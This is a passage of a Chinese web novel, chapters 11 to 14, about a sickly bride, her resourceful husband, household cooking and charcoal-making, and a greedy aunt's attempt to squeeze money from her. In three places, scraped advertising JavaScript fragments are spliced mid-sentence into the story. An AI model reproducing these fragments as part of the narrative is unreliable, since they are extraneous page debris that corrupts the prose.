想了想他解释道:“原本想买点肉的,你这两日没吃药,可以吃些肉食,只是祖母那边刚传出病重,街上人多嘴杂,我又不想招摇。郎中说你身子虚弱,得慢慢调补,改日我再想想办法。” “那你搬大缸干什么,厨房不是有水缸吗?”叶云岫问。 “矮一点那个,给你们两个女孩儿家洗澡用,不然冬天洗澡能冻死你。”谢让指着院里的两口缸说,“只能先放在厨房了,别的也没地方,厨房里烧饭还暖和。另一口,我打算烧点木炭,马上腊月了,咱们得多烧些木炭备着。” 怪不得他搬那么多木头,叶云岫说:“你还会烧木炭?” “这有什么难的,北方的农家百姓,有几个不会烧的。”谢让叮嘱道,“你跟凤宁别说出去,悄默声的,不然这宅子里所有的炭都得等着我烧了。” 他喝完茶,就去隔壁堂屋门口,一个人费劲地把卧榻拖进来。 叶云岫自觉没力气帮忙,便站起来让开地方,问道:“你刚才怎么不让人一起搬进来呀?” 谢让挑起一边眉毛,斜斜地瞟了她一眼,没回答。 新婚第二天往婚房里搬卧榻,他不要面子的么? “对了,你先告诉我,”谢让反问,“你今早上到底是因为什么生气?” “……”叶云岫。 起床气没见过吗真是的! 11. 第 11 章 叶云岫对他要用缸烧炭充满了好奇,她还特意去看了,确实就是个土陶缸,跟厨房的水缸没什么两样。 可谢让却不急着烧炭,悠哉悠哉烧起了铁锅熬猪油。 谢凤宁在她屋里缝衣裳,叶云岫便无聊地跟去厨房,坐着小板凳看稀奇。等锅里的热油吱吱冒泡,满屋都是馋死人的香味儿。 锅里一边熬猪油,谢让就一边把泡好的干菜切碎,放葱丝姜末,舀起一大勺滚烫的猪油泼在干菜上,“刺啦”一声,热气混着油香菜香腾腾升起,便用两根筷子沿着一个方向均匀地搅拌,调制馅料。 他看看坐在灶边烤火的叶云岫,灶膛里火焰燃烧,她漆黑的瞳仁里浮光碎金,安静地望着火苗出神。 “你不去床上躺着?” “这里暖和。”叶云岫说。 这兄妹俩似乎总认为她病得很重,弱不禁风,吹口气都要化了似的。原主究竟病得怎样叶云岫不知道,她这几天感受下来,与其说是“病”,不如说是“弱”,小细胳膊小细腿,身上没有四两力气,真真是多走几步都喘。 叶云岫自己琢磨着,郎中口中的“羸弱之症”,很可能就是贫血和营养不良,要慢慢调理补养,光补不行,吃药解决不了根本问题,还是得靠她自己好好吃饭,活动锻炼。 “敢不敢尝尝猪油渣?我估计你没这么吃过。”谢让捏了两块猪油渣放在小碟里,撒点碾碎的盐递给她。 叶云岫可太敢了,细细白白的手指摸一下,不烫了,捏起一块送入口中,焦香酥脆地一口咬下去,呜……好吃! 结果一抬头,谢让把剩下一块捏起来往嘴里一丢,说:“你还是别吃了吧,这么吃怕伤脾胃,尝一尝就算了。” 叶云岫:……! 谢让弯腰把灶膛灰扒拉几下,塞了两根柴:“能不能帮我看着火?你在这看着,别让它掉出来就行了,我去弄几个萝卜,配上猪油渣,再包一锅萝卜粉丝馅儿的。” 叶云岫点头,烧锅不一定行,可这么看着柴火她还是有信心的。 谢让犹不放心地把柴往里塞了一把,去院子角落的地窖里刨出几个用细沙保存的萝卜,洗干净了,先切成丝,再细细剁碎。 一下午就这么悠然地忙碌过去,天色傍晚,一锅猪油干菜、一锅萝卜粉丝的包子出了锅,蒸第二锅包子的时候,顺便在锅里放一把小米,包子出锅,小米粥也好了。 叶云岫守着灶门烤了一下午的火,偶尔还敢往里头添个柴,烤得浑身热乎乎,脸蛋都红扑扑了。然后她便看着谢让从灶膛里抽出几根烧得正旺的粗柴,径直拿出去,放进了院子角落的那口缸里。 叶云岫见他要烧木炭了,饶有兴致跟过去,谢让却摆手叫她离远一些。只见他把一捆劈成粗细均匀、长短也差不多的木柴放进缸里,很快就引着了火。谢让看着火候,等烧得差不多了,便拿了一个木条箅子盖在上头,并迅速用厚厚的黄泥把整个缸口封上了。 他不打算一次烧太多,就这么顺带着烧,烧一缸足够用个几天了,也不引人注意。 “好了,不用管了。吃饭。”谢让回到厨房洗了手,把包子和小米粥端去堂屋。 叶云岫绕着那口缸转了一圈,赶紧跟进屋吃饭。新出锅的大包子闻着都香,她早就等不及了。 天越发的冷了,饭后洗漱收拾,叶云岫又回床上窝着。她已经习惯抱着汤婆子睡了,抱着汤婆子窝在床上,瞧着谢让在外间铺卧榻,他好像没用过汤婆子。叶云岫多少有点心虚,看看自己床上厚实暖和的被褥,她是不是有点鸠占鹊巢的嫌疑? 于是她小声问道:“谢让,你冷不冷?” 外面的人动作顿了顿,谢让走进来,不赞同的表情睇着她:“叫谁谢让呢!以后不许这么叫了啊。” 叶云岫无辜脸,为什么呀,名字不是让人叫的吗? 谢让自觉看懂她那个表情,手指隔空点点她,笑道:“你出去问问,谁家妇人直呼丈夫姓名的。” 别说直呼其名,便是同辈兄弟友人,也是称呼字,以示礼数和尊重。只是他尚未弱冠,未行冠礼,还没取字。 他顿了顿说:“以后记住了,人前得叫夫君。” 叶云岫点点头,不懂,那就先听他的。 然而她现在可并不觉得他们真是“夫妻”关系,慧黠的眼神问道:“那人后呢?” “……人后随便你。”谢让道,“你若愿意,也可以叫哥哥。” 叶云岫点头。 谢让见她已经睡下了,帐子却没放下,一时不知该作何评价,真就这么当他是正人君子?她对自己的容貌也太放心了。他伸手帮她把帐子放下,自己转身也去睡了。 次日早晨,谢让开缸取了炭,木炭果然烧得很好,屋里生起火盆,红红火火的少有烟尘,也不呛人。 有了谢让蒸的两大锅包子,这几日早饭晚饭就吃包子,再简单煮个粥。兄妹两个每日早早起来去主院请安,等到他们回来,叶云岫差不多也醒了。 她是决计不肯承认自己严重起床气的。反正也无事可做,更无人催她,借着养病,便一直睡到不气了再起来。 谢让似乎总有这样那样的事情要忙。午饭他若是在家,大约就炒一两个菜,吃馒头或者面饼,若他不在家,谢凤宁做饭,谢凤宁喜欢做面条,配菜浇头变着花样,两个女孩儿一人一碗吃了热乎。 只有一点,一连三四天过去,谢让每天早上要做的一件事,就是得帮叶云岫挽髻。事实上他也只会梳那几样简单的,他也试着教过她,师傅不甚高明,徒弟手也笨,叶云岫怎么也学不会用一根光溜溜的簪子把头发盘起来。 她其实觉得头发散着挺好。可谢让看不下去,只好再来帮她。 新婚三日回门对他们来说就省略了。成婚后的第四日,谢让从镇上请了一位李郎中来,把脉之后还是说体弱,气血两虚,得喝药。 至于她说失忆忘了许多事情,郎中也说不出所以然来,沉吟半晌,捻断了几根胡须才说,也没有伤到头部,脉象无异常,应当就是惊吓所致,兴许过一段时日就自己好了。 补虚的药就不是一日之功,听郎中那意思,怕是要喝上三五个月,这次一下子就开了七副。七副药,想想都嘴里泛苦,谢让送走郎中,去街上抓了药,顺便就买了一包蜜饯。 补药都不便宜,他拎着药和蜜饯一路走回来,心里琢磨着家计民生。 他没钱了。 刚才郎中还说呢,若是这药里能有上好的人参,效果就要好上许多。可他现在别说上品人参,普通的几副补药都要掂量荷包。 谢家好歹还有田产,自给自足,饿不着人,平日里也少有花销。可是谢家本身这般落魄户,偏偏还四个房头搅和在一起 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,弄得谢让手里也没几个钱。成个婚没花什么钱,可去接叶云岫这一路的盘缠,加上请郎中抓药,他好不容易攒下的那点银子可就光了。 别的先不急,吃药养病这事肯定不能耽误。 谢让一路盘算着,回去后先把药和医嘱交代给叶云岫。叶云岫对那一堆苦药倒没怕,看到蜜饯很是喜欢。 “这次也要忌口吗?” 叶云岫担心这个,再喝药忌口,那她是不是连猪油干菜包子也不能吃了? 谢让说:“要忌口,忌生冷辛辣,荤菜鱼肉都是可以吃的。” 叶云岫放心了,点点头。 “我有个事情想跟你商量。”谢让。 叶云岫抬眸,眼神询问。 谢让指着梳妆台上的三个红封,那天敬茶时得来的,叶云岫拿回来就往梳妆台上随手一放,就没再动过,他说:“这个,能不能先借给我一点儿?” 叶云岫皱了下小脸,不解地道:“这不就是你家给的吗?” “给你的,就是你的,只是……”谢让摊手笑了下,坦然笑道,“你哥缺钱了。” 叶云岫说:“那你拿去用啊,本来就是你的。” “行,我就当是咱们家的。” 谢让笑着拿起来,当着叶云岫的面打开包裹的红纸,两包大的,沉甸甸颇有分量,打开来里面是红绳系着的一串铜钱,谢让耐心地数了,每包都是九十九文。他心里笑了下,大伯母和三叔三婶果然大方。 另一个红色荷包,打开来里面是一把小银锞子,数了数十六个,当是取四四如意之意。这东西谢家以前也常见,上面铸着各种吉祥的文字,官宦富贵人家用来表礼、赏人用的,这样的小银锞子一个七钱,这一包是七两银子。 想必大伯母和三婶两家是商量好的,四婶范氏向来唯我独尊,自己想给多少就多少,才不会跟谁商量。 “记住了,日后大堂兄、谢谊堂弟他们娶亲,我们也给九十九文。”谢让掂着手里的银锞子笑道。 叶云岫对这时代的货币没有概念,拿起一枚铜钱问道:“这个,我拿去街上能买什么?” “两文钱能买一个素包子,肉的要三文。”谢让说,摊开手给她看手里的银子,“这是七两,一两银子折合一千文钱。” 叶云岫顿时看着他手中的银子眼睛发亮,这得买多少香喷喷的大肉包子啊!她由衷赞叹:“你四婶真有钱。” 这就有钱了?这点钱搁在以前,怕都不够尚书府一顿家宴。谢让微叹道:“他们其实也难,四叔眼下无所事事,一家子全靠着四婶娘家,终究不是长久法子。” 平民和世家权贵的差距宛如天堑。九十九文钱,在崔氏和小王氏看来兴许已经不少了,而范氏即便拮据,七两银子给婆家侄子做婚礼红封,大约还觉得寒酸至极。 “足够我们救救急了。”谢让笑,把两串铜钱和四块小银锞子拿走,剩下的银锞子重又放回荷包,仔细系好了,交给叶云岫道,“这个你收起来。” 收哪儿?叶云岫看了看,随手拉开梳妆台的一个小抽屉,把荷包放了进去。 谢让把铜钱和银子仔细装好,交代道:“我有事进一趟城,若是回来晚了,你和凤宁就先吃,不用等我。” 叶云岫看看天色:“你要不明天再去?” “我一个人骑驴去,来得及。” 12. 第 12 章 谢让走了没多会儿,谢凤鸣使唤谢燕娴来了,叫谢凤宁去主院给祖母做针线。 谢凤宁仔细问了一下,谢燕娴说堂姐妹几个都去了,祖母要一件福寿团花的绸缎袄子过年穿,姐妹几个怕是要绣上一阵子的。谢凤宁不好推脱,便跟叶云岫交代过后,跟着谢燕语出去。 谢凤宁一走,小院就只剩下叶云岫自己了。难得的一个晴朗天气,她便搬了把椅子,坐在门旁晒太阳。 正在昏昏欲睡,忽然听到有人拍门叫门的声音,叶云岫睁眼看了看,慢吞吞起身回屋去了。 谢让兄妹每次一起出去,都便会把门从外面挂上,不用敲门叫门的。叶云岫琢磨着,也不知有谁会来,没人应声就该走了吧。结果她刚回到床上躺下,外头的人自己打开门进来,一路说笑着进来了。 “让哥儿媳妇,可是好些了?” 来人不请自入,竟是大伯母崔氏和杨姨娘。 崔氏笑容殷勤,在门口问了一声,便径直走进屋里,站在外间看着里屋的床上笑道:“让哥儿媳妇,歇着呢,我这几日一直忙着给老太太侍疾,也没顾上来看看,今日特意邀了杨姨娘一并过来探望你。” 叶云岫哪里懒得应付她。让她一个至今分不清“表弟”“堂弟”有什么区别的人,废了好大劲儿才弄明白“大伯母”究竟为何物,这会子让她起身招待两个陌生人? 于是叶云岫半躺在床上也没起身,只倚着枕头侧过头去,微微点了一下头。 少女太过苍白瘦弱,里屋光线又暗,落在旁人眼里,床上的病美人当真是少气无力,病得不轻了。 崔氏顿了顿,一声叹息走过来,径自拉过椅子在床前坐下,一脸关切道:“怎么病成这样了,这可如何是好。让哥儿就没给你请个郎中?” 叶云岫抬起一根手指,指了下桌案上的一堆药包,谢让刚才拿回来,系着的麻绳都还没解开呢。 崔氏念了一声佛:“阿弥陀佛,看了郎中就好,你也不要心急,总之是好好吃药,好好将养。” 杨姨娘陪着站在一旁,暗暗地打量屋内陈设,看到谢让的卧榻皱皱眉,再看看床上的病秧子,似乎也合理。 崔氏殷勤关切了一番,又提起谢让的母亲:“可惜你婆母命薄,早早地不在了,你如今嫁进来,也没有婆母教导帮衬,真真是让人心疼。你有什么用着的,只管跟大伯母说一声,真真是在我这个大伯母心里,就把让哥儿他们兄妹,当做自己亲生的一样疼……” 她声情并茂,奈何病美人一直恹恹地躺着,眼皮都没多抬一下。 崔氏倒也没多想,只当她病中倦乏。毕竟在崔氏看来,叶云岫这么个十几岁的黄毛丫头,养在深闺不谙世事,若没有谢让护着,还不是任她拿捏。眼见说了半天废话,崔氏清清嗓子,开始转入正题。 “让哥儿媳妇啊,大伯母也不怕你笑话,你看这家里如今,当真是日子艰难。我这阵子都就快愁死了,你们这边成婚,老太太那边看病,处处都得要钱……我寻思着,你们小夫妻刚成婚,你又是叶家的千金小姐,手里应当宽裕一些,能不能想法子帮一帮家里,你是个好孩子,总得先把老太太吃药的银子着落了,也是你在老太太跟前表表孝心的机会,你说是不是?” 叶云岫:……是不是什么呀?她只听见这人叽里呱啦,嘴皮子叭叭不停,谁知道她曲里拐弯的到底想说什么。 吵人耳朵。 崔氏说了半天,床上的人也没任何表态,再一看,病美人细细的眉毛蹙起,索性把眼睛也闭上了。 崔氏脸色变了变,翻翻眼皮:“要不这样,就当大伯母借的好了,家里以后想法子还你。” 叶云岫这回听明白一点了,她要借什么东西,借什么,借钱? 可真找对人了,她一分钱都没有。叶云岫睁开眼睛看看崔氏,木着脸摇摇头。 崔氏一怔,也没明白她这摇头是什么意思,顿了顿索性拉下脸色,硬邦邦斥道:“让哥儿媳妇,你倒是给句话呀,你可不能不懂事,你看如今老太太病重,你这新过门的孙媳妇也不能在跟前伺候,已经失了孝道了,你知道我背地里帮你说了多少好话!” 她今天好不容易瞅到谢让骑驴出去了,一时半会应当不会回来,又故意把谢凤宁支开,不达目的怎么可能罢休。 可没想到这个黄毛丫头也不好拿捏,她口干舌苦这半天,对方连一个字都没搭理她。 崔氏的嗓门不自觉地越发尖刻起来:“我就不信,你大老远从宣州逃到这里,金银细软能不多带一点,你们号称江南富庶的叶家,就没给你准备盘缠、嫁妆?” 见叶云岫又把眼睛闭上,索性扭头往里,不理人了,崔氏气得变了脸色。 “要不这样,你也别跟我装蒜了。”崔氏站起来说道,“当初谢家给你家的定亲信物,是一个赤金如意的金项圈,得有二三两重呢,你先借给我,我当几两银子给老太太买药,这总行了吧?那好歹是我们谢家给你的东西。” 啥玩意儿金项圈?她没见过啊。叶云岫想了想,慢吞吞坐起身来,正打算跟崔氏理论一下,房门咣当一声被推开,一个身影闯了进来。 “大伯母,你逼着我二嫂要什么?我二嫂病着呢。” 援兵来了!叶云岫原本刚要坐起来,一看谢凤宁进来,索性咣当往后边一倒,又躺下了。 她实在也是被吵得烦躁。可看在别人眼里,便是病重孱弱的少女挣扎着想要起身,却一下子力竭扑倒在床上。谢凤宁脸色骤变,顿时就急眼了。 “二嫂,二嫂你没事吧?” 谢凤宁冲进来,一张手拦在床前,气急骂道:“大伯母,我二嫂要是有个什么好歹,我跟你拼命!” 崔氏也吓到了,她眼睁睁看着叶云岫倒在床上,双眼紧闭,气若游丝,仿佛下一刻就要死了一样,崔氏吓得急忙争辩:“我我……我也没怎么她呀……” 谢凤宁气得涨红了脸,怒道:“大伯母,我二嫂路上遭遇流寇,行李都被抢了,命都差点丢掉,哪来的金银填给你?这事情敬茶那天二哥也说过的,我二嫂受了惊吓就一直生病,你居然有脸来问她要钱,还把她欺负成这样,你还要不要脸了?” “宁姐儿,你怎么跟长辈说话呢,我、我也不知道她病得这样重。” “你眼睛看不见么?大伯母,我二嫂要是有个什么不好,你就等着吧!” “她自己生病,又不能赖我……”崔氏一边说,转身出门赶紧溜了。 杨姨娘则一脸惊惶尴尬,跟着就想跑,谢凤宁一把揪住她,骂道:“姨娘好本事,亏你还是二房的人,你倒是当了大伯母的狗腿子,来害我二嫂来了。我二哥到底哪里对不住你?你还有良心没有!” “宁姐儿,我真不是,都是她拉我来探病……”杨姨娘满脸臊红,情急道,“我给让哥儿媳妇赔罪了,让哥儿媳妇莫怪,我真不知道。” 谢凤宁也不听她啰嗦,一直撵着崔氏和杨姨娘轰出去,咣当一声关上大门,赶紧回去看叶云岫。 看她气呼呼的样子,叶云岫反倒要来安慰她,忙说自己没事。 “都是谢凤鸣诓我,我去了主院,才知道她们说要做袄子,布料都还没买来。谢凤鸣这个不要脸的,跟她那个娘一路货!”谢凤宁见叶云岫还好,才稍稍放下心来,气呼呼在椅子上坐下,骂道,“我真是烦透这一家子了。” 这话叶云岫深以为然。 她反正是无法理解,既然这么一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 大家子,曲里拐弯的各种关系,又不亲,怎么就非得硬要在一起过。 晚间谢让果然回来得比较晚,天都黑了一会儿了。叶云岫和谢凤宁正在吃饭,见他冻得搓着手进来,谢凤宁赶紧起身去给他盛饭,叶云岫则拎起桌上的茶壶,默默给他倒了杯热茶。 谢让因这一杯茶竟有些受宠若惊了,含笑接过来,暖呼呼捧在手里喝了几口,笑道:“我去洗个手,就来跟你们吃饭。” 谢凤宁端着饭碗进来,问道:“二哥,你今日进城是有什么事呀,走的时候都快午时了,下回可不能这么晚了,怪叫人担心的。” “无碍。”谢让笑道,“是有些琐碎的事情,我心里有数,你们不要担心。” 他既然没说,谢凤宁也就没再追问下去。 晚饭是厚厚的麦仁粥,满满都是小麦的原香,配上自家腌制的小菜,吃着舒服。叶云岫认认真真干掉一大碗,便甩着两手,慢慢悠悠围着院子转悠几圈,散步消食。谢让和谢凤宁在厨房洗碗,隐约能听到谢凤宁嘀嘀咕咕的声音,显然是在为白天的事情告状。 谢让对崔氏能做出这种事情并不意外,气的是崔氏竟这般下作,趁他不在家的时候,还故意支开谢凤宁,合着吃柿子挑最软的捏,专门欺负一个温顺病弱的新妇。 他一时也没说什么,安抚了一下妹妹,收拾好各自回屋。 “白天没吓着你吧?” 叶云岫摇头。 “明日我找她去,必定不能让你白白受这个委屈。” 叶云岫再摇头,乖顺地笑了下说:“反正我也没吃亏,凤宁就回来了。” 谢让进城买了二两人参,当然只是普通品级的参,那些上好的老山参他即便倾家荡产也买不起。二两人参刚好花掉一两银子,请药铺给细细地切了。谢让把一匣子切好的参片参须拿给叶云岫看,交代她每日早晨放上少许,冲一杯参茶喝。 叶云岫在吃食方面一向是很听话的,认真点头答应着。 谢让今日进城不止这一件事。他心中纠结,要不要把叶家的事情告诉她。 他今日进城,特意去府衙门口绕了一圈,官府告示缉拿她的嫡亲兄长和两个堂兄。所以叶家其余男子,应当已经落入朝廷手中,至于如今他们的生死,告示并未提及,家中女眷则全部充入教坊司。 乱世当头,府衙门前各种降罪、海捕的告示贴得满满当当,几乎都是与昭王叛军相关的,谢让来回看了两遍,确定海捕告示上并没有叶家女眷的名字。 他不知道这里边的原因,是官府信了叶云岫已外嫁,懒得再核实追捕一个弱女子,还是另有其他内情。他心中暗自庆幸,叶云岫总之是暂时安全了。 看着面前柔弱乖巧的少女,谢让心中一叹,罢了,有些事情忘了也好,其实不必知道。 “我有个东西给你。”谢让温和一笑,拿出一根发簪递过去。 叶云岫接过来,是一根木簪,簪身纤巧,簪头弯曲镂空成祥云纹样,红灰色,带着一种木质的清香。 叶云岫一眼喜欢,这个好,轻巧简约,日常戴可比每天戴一朵偌大的绢花好多了。她开心地拿在手里把玩,问道:“你今天给我买的?” “不是买的,这个倒不必花钱。”谢让笑道,“我自己做的,用的是桃木,昨晚才打磨好,一早没顾上给你。” “桃木?”叶云岫把木簪凑近鼻子嗅了嗅,笑道,“怪不得有点香。” “嗯,我特意找的一棵老树的桃木芯材。”谢让说道,“桃木辟邪,驱邪祟、扶正气,你不是受了惊吓吗,以后就戴这个。” 叶云岫把桃木簪插在头上试了试,心里却忍不住嘀咕,她这个异世来的游魂,不会也算邪祟吧? 13. 第 13 章 谢让第二天一早去主院请安,崔氏见了他,脸上掩不住的心虚,躲躲闪闪生怕谢让发难。 她当然知道谢让兄妹不好拿捏,只是金银财宝更诱人,崔氏原本打量着,趁着谢让兄妹不在,一个小小的叶云岫好对付,只要把钱弄到手,任他谢让兄妹两个能奈我何。 哪想到费了半天功夫,那黄毛丫头哑巴一样把人气个半死,还忽然病得要死了一样。 崔氏忐忑了一晚上,叶云岫病成那样,万一真有什么闪失,旁的不说,谢让张扬出去,告到宗祠,她这个长辈的名声可就完了。 冬夜漫长,晨昏定省的规矩由来如此,鸡鸣时分天不亮,丑时就要做好准备,卯时一到,就得候在长辈门口等着请安。 而事实上,祖母老人家也是很知道享福的,才不会那么早起,总得让人好好等上一阵子。 这阵子严寒天冷,加上老王氏生病,等的时间就尤其长。天色还没放亮,前厅点着灯,一群孝子贤孙坐在厅中,苦等着老太太起床。 谢让来了以后也没多说话,静静地坐在那儿,品着手里的热茶。 谢寄瞅了他两眼,哼哼道:“谢让,你们二房一个个的怎么都没规矩,你祖母病重,你那新妇说是染病,不来尽孝也就罢了,怎么宁姐儿今天也没来,杨姨娘也没来?” “杨姨娘我不清楚,她是我父亲的妾室,我又不能整天盯着她。” 原本他还打算等祖母出来再找人说理呢,这会儿三叔既然起了头,谢让便放下茶盏,平淡说道:“凤宁没来,在屋里照看她二嫂,我那新妇昨日劳大伯母亲自教导,惊惧惶恐,病情突然就加重了,我也是没法子。” 崔氏脸色骤变,急忙抢白道:“让哥儿,大伯母就只是好心去你屋里探个病,说了几句家常,我明明没做什么,你可不能这么说话,无端让人误会。” “确实不该让人误会。”当着大房一堆人、三房一堆人,和两个丫鬟的面,谢让把崔氏昨日干的事情平平静静叙述了一遍。 完了他起身施礼道:“大伯母恕罪,您好歹是长辈,我替云岫和凤宁给您赔个礼,凤宁不该骂你不要脸皮,云岫也确实拿不出钱来给大伯母,还请大伯母见谅。” “只是希望大伯母下次有事,只管吩咐给我,云岫和凤宁自有我来管教,不要趁我不在亲自跑去我屋里,无端引起误会。” 他一番话说下来,句句自责,句句不失礼数,却弄得崔氏面色紫涨,脸红脖子粗,却还找不到由头发作。 谢诚在一旁看着自家老娘难堪,责怪道:“三堂弟,我母亲总归是长辈,你有误会私下里说,你身为晚辈,怎能当着这么多小辈说这些!” “大伯母恕罪,下不为例。”谢让十分平淡的语气,却分明是冷然告诫。 他笑了下,语气忽然一转,笑道,“说起来,我昨日去陵州城里抓药,倒听人提起大堂兄了,好像说看见大堂兄去了什么春仙楼……” 谢诚脸色一变:“胡说,没有的事……” 谢让笑笑,两手抬起整理了一下衣袖,不再言语了。 他每天忙得很,哪里见过谢诚逛青楼,只是这人狗改不了吃屎,随口一诈他自己就招了。 先不说谢氏家规,学政也有规矩管束,谢诚还一心指望着读书科举、重振谢家门楣呢,若是被人拿住出入青楼的把柄……呵,希望能让大房安分一阵子吧。 老王氏如今厌恶谢让,自然没眼看他,老太太的饮食日用素来比其他人好上不止一个等级,吃独食的,自然不会留饭,所以请安倒也简单,等她出来见个礼说句话,就可以走人了。 谢让回到小院,果然两个小女孩儿家都还没起呢,他也没进屋,径自去厨房张罗早饭。 以前家里就他跟凤宁兄妹两个,吃饭倒也简单,如今家中添了一口人,且叶云岫身子病弱,谢让难免得在膳食上多花点心思。他昨晚泡了面引子和红豆,进到厨房便不急不躁地煮豆、发面,怡然包起了豆沙包。 等到日头高升,两个女孩儿睡足了起来,谢让这边一大锅豆沙包已经出锅了。红豆健脾补血,正合女孩儿家吃,谢让打算吃了早饭再包一锅放着,这几日的早饭晚饭就好对付了。 手里有钱应急,中午他就上街买点肉,做了一顿干豆角炖猪肉。 杨姨娘那边一连忐忑几日,拿了两双亲手做的鞋袜来给叶云岫赔罪。谢让把鞋袜收下了,借口叶云岫养病,门都没让她进。 期间外祖父使唤周元明来了一趟,送来一只杀好洗净的鸡,用荷叶包着拿来的。谢让会意,悄默声收起来,留着炖给叶云岫补身体。 周元明这阵子听说谢让刚娶过门的新妇病重,还忍不住担心了一下,等见到叶云岫本人,却见她慢慢悠悠围着小院散步晒太阳,明明是见好了啊。 虽然没怎么说过话,但叶云岫也没把周元明当外人,见他来了颔首微笑,就算打过招呼了,然后继续散自己的步。 阳光正好,谢让便拿了椅子放在堂屋门口,招呼周元明坐下说话。他偶尔看一眼叶云岫,她一边慢慢吞吞地走,一边活动着两条胳膊,做一些懒洋洋慢悠悠的动作,棉衣有些笨拙,憨态可掬的样子煞是有趣。 “表哥我跟你说,你猜我前两天在街上看见谁了?”周元明卖了个关子,却压根没有耐心等人猜,故作神秘地说道,“我看到那个道士了。” 谢让自然知道他说的哪个道士,问道:“你跟他说话了,他怎么会在白石镇?” “没有,当时人有点多,我恰好瞧见他,跟另外两个道士一起在街上走,我喊了一声道长他大约没听见,就走远了。” “表哥,你说那个道士,是不是有点神乎?你看他说那个人有血光之灾……”周元明道使劲地眨眨眼。 可不当晚就有血光之灾了么。 谢让笑而不语。血光之灾这种话,一听就俗套得很,兴许是歪打正着了。毕竟还有一句俗话,多行不义必自毙,像当日那种胡作非为的败类,早晚也逃不掉血光之灾。 不过有些事宁可信其有,急病乱投医,叶云岫的惊吓失忆之症总不叫人放心,郎中又诊不出个所以然,谢让略一思索,便猜到那道人大约在何处,决定要去走一趟。 这事不难猜,那道士是独自一个人骑驴来的,自称终南山的道士,周元明却看到他跟另两个道士走在街上,那么他很可能是在附近的道观挂单。 当朝几代 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 皇帝笃信佛教,重佛抑道,因而整个陵州地界叫得出名号、能容纳游方道士挂单的道观,大约就只有北山太清观,恰巧离白石镇不远。 周元明闲聊一会子就说要回去了,他反正不是旁人,无需客气,所以谢让也没留他用饭。送走周元明,谢让便把那只鸡剁成块,架上木柴,小火慢慢炖汤。 鸡肉鸡汤留一半,留着给叶云岫每天早晨煮一盅参汤,足够她吃上几天了。剩下一半再放入萝卜和香菇,香喷喷炖了一锅。 于是叶云岫的食谱上就又增加了一样鸡肉。好吃! 谢凤宁也许久没吃鸡了。百姓人家不养无用的公鸡,顶多留一只鸡头,母鸡能下蛋,轻易哪舍得卖,因此鸡素来比猪肉贵。还是在谢让和叶云岫成婚那天,家宴上有一只鸡,一看就是当年的秋鸡,很小一只,还没端到桌上,就被几个年纪小的堂弟抢光了。谢凤宁这样脸皮薄的女孩儿家,一口都没吃到。 谢凤宁一边吃,一边说起当时的场景,三叔家的谢谊一伸手就拽走了大半只,把谢谦气得骂人。 按着不成文的规矩,鸡头要席间最年长、辈分最高的才能吃,谢凤宁一开始就把鸡头夹到了兄长碗里。于是谢让也就只吃了一个鸡头,看着谢凤宁和叶云岫吃得香,谢让笑道:“我忘了应该把鸡腿留着别剁,正好你俩一人一个。” 叶云岫歪着脑袋思考:“一只鸡有两条腿,那你吃什么了?” 谢让哼笑一声:“谁家里养了两个小孩,还能轮到吃鸡腿的,想什么好事呢!” 谢凤宁和叶云岫对视一眼,很没良心地笑了起来。 翌日一早,谢让赶着驴车出门,径直去北山太清观。 路不算远,太清观却在山顶,等他一路爬上去,日头已经近午了。本以为还要费一番周折,谁知他刚到石牌楼,便看到眼熟的青衣道士在一处平坦山岩上慢腾腾练拳,见他过来,道士“咦”了一声,收了招式,从山岩上一跃而下。 谢让不禁露出几分欣喜,忙拱手施礼道:“可真是巧,在这里遇见道长。道长别来无恙?” “是你?”道人打量着他笑道,“我今日一早卜了一卦,紫气东来,有贵客驾临,难不成就是你了?” “道长说笑了。我一介凡夫小民,哪里当得起贵客二字。” 道士还跟上回见的一样,青布道袍松松垮垮地挂在身上,混元髻也盘得松垮毛糙,浑身都带着几分懒散不羁的姿态。 谢让落落一笑,解释道:“我今日上山,乃是家中有人疾病缠身,想要请一位道长去我家中打醮。谁知在这里遇见您了,正合我意,不知能不能劳驾道长一趟?” 道士问他家中是谁病了,谢让便说是祖母久病缠身,请医问药一直也不见好。 两人一番交谈,谢让得知这个道士道号无忧子,修道之人游历天下,如今在这太清观中挂单暂住。 正说着话,山路上一行人呼哧呼哧抬着两顶轿子上来,谢让看一眼道士,笑道:“莫不是道长等的贵客来了?” “嗐,我在这儿挂单,便是有这等贵客送钱来了,也轮不到我招待。”无忧子说,“你且等等,反正也是闲着,我去拿上家伙什,这就跟你走一趟。” 14. 第 14 章 为人子孙,晨昏定省,谢让这一趟出门自然是要先禀告祖母的。因此当他把无忧子接到谢家,主院里已经收拾停当,只等着他把道长请来了。 无忧道人便设坛作法,烧纸画符,拿着桃木剑念念有词地忙碌一番,给老太太祈福祛病。 并且无忧子特意交代老太太,为配合法事,请老太太务必斋戒七日,并在七七四十九日内,每日早晚焚香念诵《清心咒》三遍,如此定能得三清祖师赐福,消病消灾、福寿延年。 无忧子一通玄妙的道法说下来,老王氏深以为然,再三谢过。 就连谢让也觉得,这个无忧子当真是有点本事的,别的不说,单凭察言观色、对症下药这一点,他就有过人之处。 说白了,老王氏的胆石症,无非是吃得太好,又整天颐指气使爱生气。 崔氏关心的是法金多少、钱谁来出,才刚一开口,无忧子便淡然摆手道:“法金无所谓,贫道今日能下山走这一趟便是因果,又不是为的银子,老太太不拘给几个功德钱就行,贫道只帮你结个仙缘罢了。” 老王氏一听,结仙缘哪能吝啬,忙吩咐丫鬟去拿钱,亲手包了一个红封。无忧子看都没看,接过来随手往箱笼里一丢,俨然一副世外高人做派。 结束后谢让把无忧子请到小院,进了堂屋坐下喝茶,才说起叶云岫的病情。 仔细听完,无忧子皱眉沉吟片刻,问道:“既然已经看过郎中了,那你是怀疑她失魂之症、中了邪祟,才找上的贫道?” “不论什么法子,总得一试。”谢让坦诚道。 这次无忧子倒没有急着设坛作法,说要先见见病人。 “道长稍等。”谢让起身去了东屋。 